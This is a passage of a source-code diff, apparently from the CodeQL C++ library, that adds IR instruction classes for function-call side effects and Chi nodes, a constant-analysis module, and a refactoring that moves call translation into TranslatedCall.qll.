getLocalVariable() { + result = var.(IRUserVariable).getVariable() + } } class NoOpInstruction extends Instruction { @@ -1084,14 +1105,157 @@ class SwitchInstruction extends Instruction { } } +/** + * An instruction that calls a function. + */ class CallInstruction extends Instruction { CallInstruction() { opcode instanceof Opcode::Call } + /** + * Gets the `Instruction` that computes the target function of the call. This is usually a + * `FunctionAddress` instruction, but can also be an arbitrary instruction that produces a + * function pointer. + */ final Instruction getCallTarget() { result = getAnOperand().(CallTargetOperand).getDefinitionInstruction() } + + /** + * Gets all of the arguments of the call, including the `this` pointer, if any. + */ + final Instruction getAnArgument() { + result = getAnOperand().(ArgumentOperand).getDefinitionInstruction() + } + + /** + * Gets the `this` pointer argument of the call, if any. + */ + final Instruction getThisArgument() { + result = getAnOperand().(ThisArgumentOperand).getDefinitionInstruction() + } + + /** + * Gets the argument at the specified index. + */ + final Instruction getPositionalArgument(int index) { + exists(PositionalArgumentOperand operand | + operand = getAnOperand() and + operand.getIndex() = index and + result = operand.getDefinitionInstruction() + ) + } +} + +/** + * An instruction representing a side effect of a function call. + */ +class SideEffectInstruction extends Instruction { + SideEffectInstruction() { + opcode instanceof SideEffectOpcode + } + + final Instruction getPrimaryInstruction() { + result = Construction::getPrimaryInstructionForSideEffect(this) + } +} + +/** + * An instruction representing the side effect of a function call on any memory that might be + * accessed by that call. + */ +class CallSideEffectInstruction extends SideEffectInstruction { + CallSideEffectInstruction() { + opcode instanceof Opcode::CallSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof EscapedMemoryAccess + } +} + +/** + * An instruction representing the side effect of a function call on any memory that might be read + * by that call. + */ +class CallReadSideEffectInstruction extends SideEffectInstruction { + CallReadSideEffectInstruction() { + opcode instanceof Opcode::CallReadSideEffect + } +} + +/** + * An instruction representing the read of an indirect parameter within a function call. + */ +class IndirectReadSideEffectInstruction extends SideEffectInstruction { + IndirectReadSideEffectInstruction() { + opcode instanceof Opcode::IndirectReadSideEffect + } +} + +/** + * An instruction representing the read of an indirect buffer parameter within a function call. + */ +class BufferReadSideEffectInstruction extends SideEffectInstruction { + BufferReadSideEffectInstruction() { + opcode instanceof Opcode::BufferReadSideEffect + } +} + +/** + * An instruction representing the write of an indirect parameter within a function call. + */ +class IndirectWriteSideEffectInstruction extends SideEffectInstruction { + IndirectWriteSideEffectInstruction() { + opcode instanceof Opcode::IndirectWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof IndirectMemoryAccess + } +} + +/** + * An instruction representing the write of an indirect buffer parameter within a function call. The + * entire buffer is overwritten. + */ +class BufferWriteSideEffectInstruction extends SideEffectInstruction { + BufferWriteSideEffectInstruction() { + opcode instanceof Opcode::BufferWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof BufferMemoryAccess + } +} + +/** + * An instruction representing the potential write of an indirect parameter within a function call. + * Unlike `IndirectWriteSideEffectInstruction`, the location might not be completely overwritten. + * written. + */ +class IndirectMayWriteSideEffectInstruction extends SideEffectInstruction { + IndirectMayWriteSideEffectInstruction() { + opcode instanceof Opcode::IndirectMayWriteSideEffect + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof IndirectMayMemoryAccess + } +} + +/** + * An instruction representing the write of an indirect buffer parameter within a function call. + * Unlike `BufferWriteSideEffectInstruction`, the buffer might not be completely overwritten. + */ +class BufferMayWriteSideEffectInstruction extends SideEffectInstruction { + BufferMayWriteSideEffectInstruction() { + opcode instanceof Opcode::BufferMayWriteSideEffect + } + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof BufferMayMemoryAccess + } } /** @@ -1195,6 +1359,19 @@ class UnmodeledDefinitionInstruction extends Instruction { } } +/** + * An instruction that initializes all escaped memory. + */ +class AliasedDefinitionInstruction extends Instruction { + AliasedDefinitionInstruction() { + opcode instanceof Opcode::AliasedDefinition + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof EscapedMemoryAccess + } +} + class UnmodeledUseInstruction extends Instruction { UnmodeledUseInstruction() { opcode instanceof Opcode::UnmodeledUse @@ -1205,6 +1382,16 @@ class UnmodeledUseInstruction extends Instruction { } } +/** + * An instruction representing the choice of one of multiple input values based on control flow. + * + * A `PhiInstruction` is inserted at the beginning of a block whenever two different definitions of + * the same variable reach that block. The `PhiInstruction` will have one operand corresponding to + * each control flow predecessor of the block, with that operand representing the version of the + * variable that flows from that predecessor. The result value of the `PhiInstruction` will be + * a copy of whichever operand corresponds to the actual predecessor that entered the block at + * runtime. + */ class PhiInstruction extends Instruction { PhiInstruction() { opcode instanceof Opcode::Phi @@ -1215,6 +1402,84 @@ class PhiInstruction extends Instruction { } } +/** + * An instruction representing the effect that a write to a memory may have on potential aliases of + * that memory. + * + * A `ChiInstruction` is inserted immediately after an instruction that writes to memory. The + * `ChiInstruction` has two operands. The first operand, given by `getTotalOperand()`, represents + * the previous state of all of the memory that might be alised by the memory write. The second + * operand, given by `getPartialOperand()`, represents the memory that was actually modified by the + * memory write. The result of the `ChiInstruction` represents the same memory as + * `getTotalOperand()`, updated to include the changes due to the value that was actually stored by + * the memory write. + * + * As an example, suppose that variable `p` and `q` are pointers that may or may not point to the + * same memory: + * ``` + * *p = 5; + * x = *q; + * ``` + * + * The IR would look like: + * ``` + * r1_1 = VariableAddress[p] + * r1_2 = Load r1_1, m0_0 // Load the value of `p` + * r1_3 = Constant[5] + * m1_4 = Store r1_2, r1_3 // Store to `*p` + * m1_5 = ^Chi m0_1, m1_4 // Side effect of the previous Store on aliased memory + * r1_6 = VariableAddress[x] + * r1_7 = VariableAddress[q] + * r1_8 = Load r1_7, m0_2 // Load the value of `q` + * r1_9 = Load r1_8, m1_5 // Load the value of `*q` + * m1_10 = Store r1_6, r1_9 // Store to x + * ``` + * + * Note the `Chi` instruction after the store to `*p`. The indicates that the previous contents of + * aliased memory (`m0_1`) are merged with the new value written by the store (`m1_4`), producing a + * new version of aliased memory (`m1_5`). On the subsequent load from `*q`, the source operand of + * `*q` is `m1_5`, indicating that the store to `*p` may (or may not) have updated the memory + * pointed to by `q`. + * + * For more information about how `Chi` instructions are used to model memory side effects, see + * https://link.springer.com/content/pdf/10.1007%2F3-540-61053-7_66.pdf. + */ +class ChiInstruction extends Instruction { + ChiInstruction() { + opcode instanceof Opcode::Chi + } + + override final MemoryAccessKind getResultMemoryAccess() { + result instanceof ChiTotalMemoryAccess + } + + /** + * Gets the operand that represents the previous state of all memory that might be aliased by the + * memory write. + */ + final Instruction getTotalOperand() { + result = getAnOperand().(ChiTotalOperand).getDefinitionInstruction() + } + + /** + * Gets the operand that represents the new value written by the memory write. + */ + final Instruction getPartialOperand() { + result = getAnOperand().(ChiPartialOperand).getDefinitionInstruction() + } +} + +/** + * An instruction representing unreachable code. Inserted in place of the original target + * instruction of a `ConditionalBranch` or `Switch` instruction where that particular edge is + * infeasible. + */ +class UnreachedInstruction extends Instruction { + UnreachedInstruction() { + opcode instanceof Opcode::Unreached + } +} + /** * An instruction representing a built-in operation. This is used to represent * operations such as access to variable argument lists. diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Operand.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Operand.qll index 4cc82d0906c..edf8e141764 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Operand.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/Operand.qll @@ -304,6 +304,45 @@ class PositionalArgumentOperand extends ArgumentOperand { override string toString() { result = "Arg(" + argIndex + ")" } + + /** + * Gets the zero-based index of the argument. + */ + final int getIndex() { + result = argIndex + } +} + +class SideEffectOperand extends NonPhiOperand { + SideEffectOperand() { + this = TNonPhiOperand(_, sideEffectOperand(), _) + } + + override MemoryAccessKind getMemoryAccess() { + instr instanceof CallSideEffectInstruction and + result instanceof EscapedMemoryAccess + or + instr instanceof CallReadSideEffectInstruction and + result instanceof EscapedMemoryAccess + or + instr instanceof IndirectReadSideEffectInstruction and + result instanceof IndirectMemoryAccess + or + instr instanceof BufferReadSideEffectInstruction and + result instanceof BufferMemoryAccess + or + instr instanceof IndirectWriteSideEffectInstruction and + result instanceof IndirectMemoryAccess + or + instr instanceof BufferWriteSideEffectInstruction and + result instanceof BufferMemoryAccess + or + instr instanceof IndirectMayWriteSideEffectInstruction and + result instanceof IndirectMayMemoryAccess + or + instr instanceof BufferMayWriteSideEffectInstruction and + result instanceof BufferMayMemoryAccess + } } /** @@ -358,3 +397,38 @@ class MemoryOperand extends Operand { exists(getMemoryAccess()) } } + +/** + * The total operand of a Chi node, representing the previous value of the memory. + */ +class ChiTotalOperand extends Operand { + ChiTotalOperand() { + this = TNonPhiOperand(_, chiTotalOperand(), _) + } + + override string toString() { + result = "ChiTotal" + } + + override final MemoryAccessKind getMemoryAccess() { + result instanceof ChiTotalMemoryAccess + } +} + + +/** + * The partial operand of a Chi node, representing the value being written to part of the memory. + */ +class ChiPartialOperand extends Operand { + ChiPartialOperand() { + this = TNonPhiOperand(_, chiPartialOperand(), _) + } + + override string toString() { + result = "ChiPartial" + } + + override final MemoryAccessKind getMemoryAccess() { + result instanceof ChiPartialMemoryAccess + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/ConstantAnalysis.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/ConstantAnalysis.qll new file mode 100644 index 00000000000..382ffdd0ae3 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/ConstantAnalysis.qll @@ -0,0 +1,38 @@ +private import internal.ConstantAnalysisInternal +import semmle.code.cpp.ir.internal.IntegerConstant +private import IR + +language[monotonicAggregates] +IntValue getConstantValue(Instruction instr) { + result = instr.(IntegerConstantInstruction).getValue().toInt() or + exists(BinaryInstruction binInstr, IntValue left, IntValue right | + binInstr = instr and + left = getConstantValue(binInstr.getLeftOperand()) and + right = getConstantValue(binInstr.getRightOperand()) and + ( + binInstr instanceof AddInstruction and result = add(left, right) or + binInstr instanceof SubInstruction and result = sub(left, right) or + binInstr instanceof MulInstruction and result = mul(left, right) or + binInstr instanceof DivInstruction and result = div(left, right) or + binInstr instanceof CompareEQInstruction and result = compareEQ(left, right) or + binInstr instanceof CompareNEInstruction and result = compareNE(left, right) or + binInstr instanceof CompareLTInstruction and result = compareLT(left, right) or + binInstr instanceof CompareGTInstruction and result = compareGT(left, right) or + binInstr instanceof CompareLEInstruction and result = compareLE(left, right) or + binInstr instanceof CompareGEInstruction and result = compareGE(left, right) + ) + ) or + exists(UnaryInstruction unaryInstr, IntValue src | + unaryInstr = instr and + src = getConstantValue(unaryInstr.getOperand()) and + ( + unaryInstr instanceof NegateInstruction and result = neg(src) + ) + ) or + result = getConstantValue(instr.(CopyInstruction).getSourceValue()) or + exists(PhiInstruction phi | + phi = instr and + result = max(PhiOperand operand | operand = phi.getAnOperand() | getConstantValue(operand.getDefinitionInstruction())) and + result = min(PhiOperand operand | operand = phi.getAnOperand() | getConstantValue(operand.getDefinitionInstruction())) + ) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/PrintConstantAnalysis.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/PrintConstantAnalysis.qll new file mode 100644 index 00000000000..57a7cf594ca --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/PrintConstantAnalysis.qll @@ -0,0 +1,11 @@ +private import internal.ConstantAnalysisInternal +private import semmle.code.cpp.ir.internal.IntegerConstant +private import ConstantAnalysis +import IR + +private class ConstantAnalysisPropertyProvider extends IRPropertyProvider { + override string getInstructionProperty(Instruction instr, string key) { + key = "ConstantValue" and + result = getValue(getConstantValue(instr)).toString() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/internal/ConstantAnalysisInternal.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/internal/ConstantAnalysisInternal.qll new file mode 100644 index 00000000000..3b28a05290c --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/constant/internal/ConstantAnalysisInternal.qll @@ -0,0 +1 @@ +import semmle.code.cpp.ir.implementation.raw.IR as IR diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/IRBlockConstruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/IRBlockConstruction.qll deleted file mode 100644 index d608798ab26..00000000000 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/IRBlockConstruction.qll +++ /dev/null @@ -1,83 +0,0 @@ -import semmle.code.cpp.ir.implementation.raw.Instruction -import cpp -import semmle.code.cpp.ir.implementation.EdgeKind - -private predicate startsBasicBlock(Instruction instr) { - not instr instanceof PhiInstruction and - ( - count(Instruction predecessor | - instr = predecessor.getASuccessor() - ) != 1 or // Multiple predecessors or no predecessor - exists(Instruction predecessor | - instr = predecessor.getASuccessor() and - strictcount(Instruction other | - other = predecessor.getASuccessor() - ) > 1 - ) or // Predecessor has multiple successors - exists(Instruction predecessor, EdgeKind kind | - instr = predecessor.getSuccessor(kind) and - not kind instanceof GotoEdge - ) // Incoming edge is not a GotoEdge - ) -} - -private predicate isEntryBlock(TIRBlock block) { - block = MkIRBlock(any(EnterFunctionInstruction enter)) -} - -import Cached -private cached module Cached { - cached newtype TIRBlock = - MkIRBlock(Instruction firstInstr) { - startsBasicBlock(firstInstr) - } - - /** Holds if `i2` follows `i1` in a `IRBlock`. */ - private predicate adjacentInBlock(Instruction i1, Instruction i2) { - exists(GotoEdge edgeKind | i2 = i1.getSuccessor(edgeKind)) and - not startsBasicBlock(i2) - } - - /** Gets the index of `i` in its `IRBlock`. */ - private int getMemberIndex(Instruction i) { - startsBasicBlock(i) and - result = 0 - or - exists(Instruction iPrev | - adjacentInBlock(iPrev, i) and - result = getMemberIndex(iPrev) + 1 - ) - } - - /** Holds if `i` is the `index`th instruction in `block`. */ - cached Instruction getInstruction(TIRBlock block, int index) { - exists(Instruction first | - block = MkIRBlock(first) and - index = getMemberIndex(result) and - adjacentInBlock*(first, result) - ) - } - - cached int getInstructionCount(TIRBlock block) { - result = strictcount(getInstruction(block, _)) - } - - cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ, EdgeKind kind) { - exists(Instruction predLast, Instruction succFirst | - predLast = getInstruction(pred, getInstructionCount(pred) - 1) and - succFirst = predLast.getSuccessor(kind) and - succ = MkIRBlock(succFirst) - ) - } - - cached predicate blockSuccessor(TIRBlock pred, TIRBlock succ) { - blockSuccessor(pred, succ, _) - } - - cached predicate blockImmediatelyDominates(TIRBlock dominator, TIRBlock block) = - idominance(isEntryBlock/1, blockSuccessor/2)(_, dominator, block) -} - -Instruction getFirstInstruction(TIRBlock block) { - block = MkIRBlock(result) -} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/IRConstruction.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/IRConstruction.qll index 9fdece58e41..64a2a539ca2 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/IRConstruction.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/IRConstruction.qll @@ -1,6 +1,5 @@ import cpp import semmle.code.cpp.ir.implementation.raw.IR -import IRBlockConstruction as BlockConstruction private import semmle.code.cpp.ir.internal.OperandTag private import semmle.code.cpp.ir.internal.TempVariableTag private import InstructionTag @@ -168,6 +167,13 @@ cached private module Cached { result = element.getInstructionResultSize(tag) ) } + + cached Instruction getPrimaryInstructionForSideEffect(Instruction instruction) { + exists(TranslatedElement element, InstructionTag tag | + instructionOrigin(instruction, element, tag) and + result = element.getPrimaryInstructionForSideEffect(tag) + ) + } } import CachedForDebugging diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/InstructionTag.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/InstructionTag.qll index d15e1aad65f..34cbdaa1ee3 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/InstructionTag.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/InstructionTag.qll @@ -40,9 +40,11 @@ newtype TInstructionTag = ExitFunctionTag() or UnmodeledDefinitionTag() or UnmodeledUseTag() or + AliasedDefinitionTag() or SwitchBranchTag() or CallTargetTag() or CallTag() or + CallSideEffectTag() or AllocationSizeTag() or AllocationElementSizeTag() or AllocationExtentConvertTag() or @@ -61,6 +63,7 @@ newtype TInstructionTag = CatchTag() or ThrowTag() or UnwindTag() or + InitializerUninitializedTag() or InitializerFieldAddressTag(Field field) { fieldIsInitialized(field) } or @@ -91,6 +94,7 @@ string getInstructionTagId(TInstructionTag tag) { tag = OnlyInstructionTag() and result = "Only" or // Single instruction (not including implicit Load) tag = InitializerVariableAddressTag() and result = "InitVarAddr" or tag = InitializerStoreTag() and result = "InitStore" or + tag = InitializerUninitializedTag() and result = "InitUninit" or tag = ZeroPadStringConstantTag() and result = "ZeroPadConst" or tag = ZeroPadStringElementIndexTag() and result = "ZeroPadElemIndex" or tag = ZeroPadStringElementAddressTag() and result = "ZeroPadElemAddr" or @@ -110,9 +114,11 @@ string getInstructionTagId(TInstructionTag tag) { tag = ExitFunctionTag() and result = "ExitFunc" or tag = UnmodeledDefinitionTag() and result = "UnmodeledDef" or tag = UnmodeledUseTag() and result = "UnmodeledUse" or + tag = AliasedDefinitionTag() and result = "AliasedDef" or tag = SwitchBranchTag() and result = "SwitchBranch" or tag = CallTargetTag() and result = "CallTarget" or tag = CallTag() and result = "Call" or + tag = CallSideEffectTag() and result = "CallSideEffect" or tag = AllocationSizeTag() and result = "AllocSize" or tag = AllocationElementSizeTag() and result = "AllocElemSize" or tag = AllocationExtentConvertTag() and result = "AllocExtConv" or diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedCall.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedCall.qll new file mode 100644 index 00000000000..f8c55464de7 --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedCall.qll @@ -0,0 +1,338 @@ +import cpp +private import semmle.code.cpp.ir.implementation.Opcode +private import semmle.code.cpp.ir.internal.OperandTag +private import semmle.code.cpp.models.interfaces.SideEffect +private import InstructionTag +private import TranslatedElement +private import TranslatedExpr + +/** + * The IR translation of a call to a function. The call may be from an actual + * call in the source code, or could be a call that is part of the translation + * of a higher-level constructor (e.g. the allocator call in a `NewExpr`). + */ +abstract class TranslatedCall extends TranslatedExpr { + override final TranslatedElement getChild(int id) { + // We choose the child's id in the order of evaluation. + // The qualifier is evaluated before the call target, because the value of + // the call target may depend on the value of the qualifier for virtual + // calls. + id = -2 and result = getQualifier() or + id = -1 and result = getCallTarget() or + result = getArgument(id) + } + + override final Instruction getFirstInstruction() { + if exists(getQualifier()) then + result = getQualifier().getFirstInstruction() + else + result = getFirstCallTargetInstruction() + } + + override predicate hasInstruction(Opcode opcode, InstructionTag tag, + Type resultType, boolean isGLValue) { + ( + tag = CallTag() and + opcode instanceof Opcode::Call and + resultType = getCallResultType() and + isGLValue = false + ) or + ( + hasSideEffect() and + tag = CallSideEffectTag() and + ( + if hasWriteSideEffect() then ( + opcode instanceof Opcode::CallSideEffect and + resultType instanceof UnknownType + ) + else ( + opcode instanceof Opcode::CallReadSideEffect and + resultType instanceof VoidType + ) + ) and + isGLValue = false + ) + } + + override Instruction getChildSuccessor(TranslatedElement child) { + ( + child = getQualifier() and + result = getFirstCallTargetInstruction() + ) or + ( + child = getCallTarget() and + result = getFirstArgumentOrCallInstruction() + ) or + exists(int argIndex | + child = getArgument(argIndex) and + if exists(getArgument(argIndex + 1)) then + result = getArgument(argIndex + 1).getFirstInstruction() + else + result = getInstruction(CallTag()) + ) + } + + override Instruction getInstructionSuccessor(InstructionTag tag, + EdgeKind kind) { + kind instanceof GotoEdge and + ( + ( + tag = CallTag() and + if hasSideEffect() then + result = getInstruction(CallSideEffectTag()) + else + result = getParent().getChildSuccessor(this) + ) or + ( + hasSideEffect() and + tag = CallSideEffectTag() and + result = getParent().getChildSuccessor(this) + ) + ) + } + + override Instruction getInstructionOperand(InstructionTag tag, + OperandTag operandTag) { + ( + tag = CallTag() and + ( + ( + operandTag instanceof CallTargetOperandTag and + result = getCallTargetResult() + ) or + ( + operandTag instanceof ThisArgumentOperandTag and + result = getQualifierResult() + ) or + exists(PositionalArgumentOperandTag argTag | + argTag = operandTag and + result = getArgument(argTag.getArgIndex()).getResult() + ) + ) + ) or + ( + tag = CallSideEffectTag() and + operandTag instanceof SideEffectOperandTag and + result = getEnclosingFunction().getUnmodeledDefinitionInstruction() + ) + } + + override final Instruction getResult() { + result = getInstruction(CallTag()) + } + + /** + * Gets the result type of the call. + */ + abstract Type getCallResultType(); + + /** + * Holds if the call has a `this` argument. + */ + predicate hasQualifier() { + exists(getQualifier()) + } + + /** + * Gets the `TranslatedExpr` for the indirect target of the call, if any. + */ + TranslatedExpr getCallTarget() { + none() + } + + /** + * Gets the first instruction of the sequence to evaluate the call target. + * By default, this is just the first instruction of `getCallTarget()`, but + * it can be overridden by a subclass for cases where there is a call target + * that is not computed from an expression (e.g. a direct call). + */ + Instruction getFirstCallTargetInstruction() { + result = getCallTarget().getFirstInstruction() + } + + /** + * Gets the instruction whose result value is the target of the call. By + * default, this is just the result of `getCallTarget()`, but it can be + * overridden by a subclass for cases where there is a call target that is not + * computed from an expression (e.g. a direct call). + */ + Instruction getCallTargetResult() { + result = getCallTarget().getResult() + } + + /** + * Gets the `TranslatedExpr` for the qualifier of the call (i.e. the value + * that is passed as the `this` argument. + */ + abstract TranslatedExpr getQualifier(); + + /** + * Gets the instruction whose result value is the `this` argument of the call. + * By default, this is just the result of `getQualifier()`, but it can be + * overridden by a subclass for cases where there is a `this` argument that is + * not computed from a child expression (e.g. a constructor call). + */ + Instruction getQualifierResult() { + result = getQualifier().getResult() + } + + /** + * Gets the argument with the specified `index`. Does not include the `this` + * argument. + */ + abstract TranslatedExpr getArgument(int index); + + /** + * If there are any arguments, gets the first instruction of the first + * argument. Otherwise, returns the call instruction. + */ + final Instruction getFirstArgumentOrCallInstruction() { + if hasArguments() then + result = getArgument(0).getFirstInstruction() + else + result = getInstruction(CallTag()) + } + + /** + * Holds if the call has any arguments, not counting the `this` argument. + */ + abstract predicate hasArguments(); + + predicate hasReadSideEffect() { + any() + } + + predicate hasWriteSideEffect() { + any() + } + + private predicate hasSideEffect() { + hasReadSideEffect() or hasWriteSideEffect() + } +} + +/** + * IR translation of a direct call to a specific function. Used for both + * explicit calls (`TranslatedFunctionCall`) and implicit calls + * (`TranslatedAllocatorCall`). + */ +abstract class TranslatedDirectCall extends TranslatedCall { + override final Instruction getFirstCallTargetInstruction() { + result = getInstruction(CallTargetTag()) + } + + override final Instruction getCallTargetResult() { + result = getInstruction(CallTargetTag()) + } + + override predicate hasInstruction(Opcode opcode, InstructionTag tag, + Type resultType, boolean isGLValue) { + TranslatedCall.super.hasInstruction(opcode, tag, resultType, isGLValue) or + ( + tag = CallTargetTag() and + opcode instanceof Opcode::FunctionAddress and + // The database does not contain a `FunctionType` for a function unless + // its address was taken, so we'll just use glval instead of + // glval. + resultType instanceof UnknownType and + isGLValue = true + ) + } + + override Instruction getInstructionSuccessor(InstructionTag tag, + EdgeKind kind) { + result = TranslatedCall.super.getInstructionSuccessor(tag, kind) or + ( + tag = CallTargetTag() and + kind instanceof GotoEdge and + result = getFirstArgumentOrCallInstruction() + ) + } +} + +/** + * The IR translation of a call to a function. + */ +abstract class TranslatedCallExpr extends TranslatedNonConstantExpr, + TranslatedCall { + Call call; + + TranslatedCallExpr() { + expr = call + } + + override final Type getCallResultType() { + result = getResultType() + } + + override final predicate hasArguments() { + exists(call.getArgument(0)) + } + + override final TranslatedExpr getQualifier() { + result = getTranslatedExpr(call.getQualifier().getFullyConverted()) + } + + override final TranslatedExpr getArgument(int index) { + result = getTranslatedExpr(call.getArgument(index).getFullyConverted()) + } +} + +/** + * Represents the IR translation of a call through a function pointer. + */ +class TranslatedExprCall extends TranslatedCallExpr { + ExprCall exprCall; + + TranslatedExprCall() { + expr = exprCall + } + + override TranslatedExpr getCallTarget() { + result = getTranslatedExpr(exprCall.getExpr().getFullyConverted()) + } +} + +/** + * Represents the IR translation of a direct function call. + */ +class TranslatedFunctionCall extends TranslatedCallExpr, TranslatedDirectCall { + FunctionCall funcCall; + + TranslatedFunctionCall() { + expr = funcCall + } + + override Function getInstructionFunction(InstructionTag tag) { + tag = CallTargetTag() and result = funcCall.getTarget() + } + + override predicate hasReadSideEffect() { + not funcCall.getTarget().(SideEffectFunction).neverReadsMemory() + } + + override predicate hasWriteSideEffect() { + not funcCall.getTarget().(SideEffectFunction).neverWritesMemory() + } +} + +/** + * Represents the IR translation of a call to a constructor. + */ +class TranslatedStructorCall extends TranslatedFunctionCall { + TranslatedStructorCall() { + funcCall instanceof ConstructorCall or + funcCall instanceof DestructorCall + } + + override Instruction getQualifierResult() { + exists(StructorCallContext context | + context = getParent() and + result = context.getReceiver() + ) + } + + override predicate hasQualifier() { + any() + } +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedDeclarationEntry.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedDeclarationEntry.qll index da9a3f1c2dd..6b2fb15549e 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedDeclarationEntry.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedDeclarationEntry.qll @@ -142,7 +142,10 @@ abstract class TranslatedVariableDeclaration extends TranslatedElement, Initiali } override IRVariable getInstructionVariable(InstructionTag tag) { - tag = InitializerVariableAddressTag() and + ( + tag = InitializerVariableAddressTag() or + hasUninitializedInstruction() and tag = InitializerStoreTag() + ) and result = getIRUserVariable(getFunction(), getVariable()) } diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedElement.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedElement.qll index b701c1a3f5d..6ca38c6505d 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedElement.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedElement.qll @@ -534,6 +534,14 @@ abstract class TranslatedElement extends TTranslatedElement { result = getParent().getExceptionSuccessorInstruction() } + /** + * Gets the primary instruction for the side effect instruction that was + * generated by this element for tag `tag`. + */ + Instruction getPrimaryInstructionForSideEffect(InstructionTag tag) { + none() + } + /** * Holds if this element generates a temporary variable with type `type`. * `tag` must be unique for each variable generated from the same AST node diff --git a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedExpr.qll b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedExpr.qll index 175f710f265..53103ae4ca1 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedExpr.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/implementation/raw/internal/TranslatedExpr.qll @@ -8,6 +8,7 @@ private import TranslatedDeclarationEntry private import TranslatedElement private import TranslatedFunction private import TranslatedInitialization +import TranslatedCall /** * Gets the TranslatedExpr for the specified expression. If `expr` is a load, @@ -1769,163 +1770,6 @@ class TranslatedAssignOperation extends TranslatedAssignment { } } -/** - * The IR translation of a call to a function. The call may be from an actual - * call in the source code, or could be a call that is part of the translation - * of a higher-level constructor (e.g. the allocator call in a `NewExpr`). - */ -abstract class TranslatedCall extends TranslatedExpr { - override final TranslatedElement getChild(int id) { - // We choose the child's id in the order of evaluation. - // The qualifier is evaluated before the call target, because the value of - // the call target may depend on the value of the qualifier for virtual - // calls. - id = -2 and result = getQualifier() or - id = -1 and result = getCallTarget() or - result = getArgument(id) - } - - override final Instruction getFirstInstruction() { - if exists(getQualifier()) then - result = getQualifier().getFirstInstruction() - else - result = getFirstCallTargetInstruction() - } - - override predicate hasInstruction(Opcode opcode, InstructionTag tag, - Type resultType, boolean isGLValue) { - tag = CallTag() and - opcode instanceof Opcode::Call and - resultType = getCallResultType() and - isGLValue = false - } - - override Instruction getChildSuccessor(TranslatedElement child) { - ( - child = getQualifier() and - result = getFirstCallTargetInstruction() - ) or - ( - child = getCallTarget() and - result = getFirstArgumentOrCallInstruction() - ) or - exists(int argIndex | - child = getArgument(argIndex) and - if exists(getArgument(argIndex + 1)) then - result = getArgument(argIndex + 1).getFirstInstruction() - else - result = getInstruction(CallTag()) - ) - } - - override Instruction getInstructionSuccessor(InstructionTag tag, - EdgeKind kind) { - kind instanceof GotoEdge and - tag = CallTag() and - result = getParent().getChildSuccessor(this) - } - - override Instruction getInstructionOperand(InstructionTag tag, - OperandTag operandTag) { - tag = CallTag() and - ( - ( - operandTag instanceof CallTargetOperandTag and - result = getCallTargetResult() - ) or - ( - operandTag instanceof ThisArgumentOperandTag and - result = getQualifierResult() - ) or - exists(PositionalArgumentOperandTag argTag | - argTag = operandTag and - result = getArgument(argTag.getArgIndex()).getResult() - ) - ) - } - - override final Instruction getResult() { - result = getInstruction(CallTag()) - } - - /** - * Gets the result type of the call. - */ - abstract Type getCallResultType(); - - /** - * Holds if the call has a `this` argument. - */ - predicate hasQualifier() { - exists(getQualifier()) - } - - /** - * Gets the `TranslatedExpr` for the indirect target of the call, if any. - */ - TranslatedExpr getCallTarget() { - none() - } - - /** - * Gets the first instruction of the sequence to evaluate the call target. - * By default, this is just the first instruction of `getCallTarget()`, but - * it can be overridden by a subclass for cases where there is a call target - * that is not computed from an expression (e.g. a direct call). - */ - Instruction getFirstCallTargetInstruction() { - result = getCallTarget().getFirstInstruction() - } - - /** - * 